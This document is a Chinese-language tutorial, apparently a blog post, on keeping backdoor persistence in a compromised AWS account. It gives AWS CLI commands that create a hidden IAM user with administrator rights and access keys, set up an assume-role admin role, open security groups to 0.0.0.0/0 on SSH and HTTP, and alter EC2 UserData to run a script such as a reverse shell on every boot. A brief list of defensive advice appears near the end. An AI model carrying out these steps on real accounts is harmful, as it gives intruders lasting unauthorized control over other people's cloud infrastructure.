aws之创建后门实现持久化利用的方式
字数 939 2025-08-22 12:23:25

AWS持久化后门利用技术详解

1. 创建后门用户与访问密钥

1.1 创建后门用户

当获得高权限AWS账户后,首先应创建一个隐藏的后门用户:

aws iam create-user --user-name backdor

1.2 分配管理员权限

为新创建的用户附加管理员策略:

aws iam attach-user-policy --user-name backdor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

1.3 创建访问密钥

为后门用户生成访问密钥:

aws iam create-access-key --user-name backdor

返回结果包含AccessKeyIdSecretAccessKey,需妥善保存:

{
  "AccessKey": {
    "UserName": "backdor",
    "AccessKeyId": "xxxxxxx",
    "Status": "Active",
    "SecretAccessKey": "xxxxxx",
    "CreateDate": "2025-01-05T13:55:03Z"
  }
}

2. AssumeRole持久化技术

2.1 基本概念

  • IAM用户:具有长期凭证的固定身份
  • IAM角色:无长期凭证的虚拟身份,通过AssumeRole获取临时凭证

2.2 创建普通用户

aws iam create-user --user-name normal

2.3 创建AssumeRole策略

创建JSON策略文件1.json

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::985539798290:user/normal"
      },
      "Action": "sts:AssumeRole",
      "Condition": {}
    }
  ]
}

2.4 创建角色并附加策略

aws iam create-role --role-name back2 --assume-role-policy-document file:///root/1.json
aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name back2

2.5 使用STS AssumeRole

aws sts assume-role --role-arn arn:aws:iam::xxxxxxxxxxxx:role/back2 --role-session-name back2-session --profile 后门用户的配置文件

返回临时凭证:

{
  "Credentials": {
    "AccessKeyId": "ASIA....",
    "SecretAccessKey": "secret....",
    "SessionToken": "session....",
    "Expiration": "2025-01-01T12:00:00Z"
  },
  "AssumedRoleUser": {
    "AssumedRoleId": "ARO....",
    "Arn": "xxxx"
  }
}

注意:临时凭证有有效期限制,需要定期更新。

3. 修改EC2安全组实现持久化

3.1 创建开放的安全组

aws ec2 create-security-group --group-name my-security-group --description "My new security group"

3.2 添加入站规则

开放22和80端口:

aws ec2 authorize-security-group-ingress --group-id sg-00380a8bac3c737b8 --protocol tcp --port 22 --cidr 0.0.0.0/0
aws ec2 authorize-security-group-ingress --group-id sg-00380a8bac3c737b8 --protocol tcp --port 80 --cidr 0.0.0.0/0

3.3 查询实例ID

aws ec2 describe-instances

3.4 修改实例安全组

aws ec2 modify-instance-attribute --instance-id i-0183d702137794a80 --groups sg-00380a8bac3c737b8

4. 利用EC2 UserData实现持久化

4.1 UserData基本概念

UserData脚本在EC2实例首次启动时自动运行,通过配置可实现每次重启都运行。

4.2 关键配置

脚本中必须包含:

#cloud-config
cloud_final_modules:
- [scripts-user, always]

4.3 操作步骤

  1. 停止目标实例:
aws ec2 stop-instances --instance-ids i-xxx
  1. 编辑UserData(通过控制台或CLI)

  2. 添加持久化脚本,例如反弹shell或写入公钥

  3. 启动实例

4.4 查看现有UserData

aws ec2 describe-instance-attribute --instance-id i-0183d702137794a80 --attribute userData --query "UserData.Value"

返回Base64编码内容,解码后可见实际脚本。

5. 防御建议

  1. 最小权限原则:严格限制IAM用户和角色的权限
  2. 监控异常活动:启用CloudTrail记录所有API调用
  3. 定期轮换凭证:定期更换访问密钥
  4. 安全组审核:定期检查安全组规则,避免0.0.0.0/0开放
  5. UserData审查:检查EC2实例的UserData内容
  6. MFA启用:为高权限账户启用多因素认证

6. 总结

AWS环境中持久化后门技术主要包括:

  • 创建隐藏的高权限用户和访问密钥
  • 利用AssumeRole机制获取临时凭证
  • 修改安全组规则开放关键端口
  • 利用UserData实现脚本级持久化

防御方应全面监控这些关键点,及时发现和阻断攻击者的持久化尝试。

AWS持久化后门利用技术详解 1. 创建后门用户与访问密钥 1.1 创建后门用户 当获得高权限AWS账户后,首先应创建一个隐藏的后门用户: 1.2 分配管理员权限 为新创建的用户附加管理员策略: 1.3 创建访问密钥 为后门用户生成访问密钥: 返回结果包含 AccessKeyId 和 SecretAccessKey ,需妥善保存: 2. AssumeRole持久化技术 2.1 基本概念 IAM用户 :具有长期凭证的固定身份 IAM角色 :无长期凭证的虚拟身份,通过AssumeRole获取临时凭证 2.2 创建普通用户 2.3 创建AssumeRole策略 创建JSON策略文件 1.json : 2.4 创建角色并附加策略 2.5 使用STS AssumeRole 返回临时凭证: 注意 :临时凭证有有效期限制,需要定期更新。 3. 修改EC2安全组实现持久化 3.1 创建开放的安全组 3.2 添加入站规则 开放22和80端口: 3.3 查询实例ID 3.4 修改实例安全组 4. 利用EC2 UserData实现持久化 4.1 UserData基本概念 UserData脚本在EC2实例首次启动时自动运行,通过配置可实现每次重启都运行。 4.2 关键配置 脚本中必须包含: 4.3 操作步骤 停止目标实例: 编辑UserData(通过控制台或CLI) 添加持久化脚本,例如反弹shell或写入公钥 启动实例 4.4 查看现有UserData 返回Base64编码内容,解码后可见实际脚本。 5. 防御建议 最小权限原则 :严格限制IAM用户和角色的权限 监控异常活动 :启用CloudTrail记录所有API调用 定期轮换凭证 :定期更换访问密钥 安全组审核 :定期检查安全组规则,避免0.0.0.0/0开放 UserData审查 :检查EC2实例的UserData内容 MFA启用 :为高权限账户启用多因素认证 6. 总结 AWS环境中持久化后门技术主要包括: 创建隐藏的高权限用户和访问密钥 利用AssumeRole机制获取临时凭证 修改安全组规则开放关键端口 利用UserData实现脚本级持久化 防御方应全面监控这些关键点,及时发现和阻断攻击者的持久化尝试。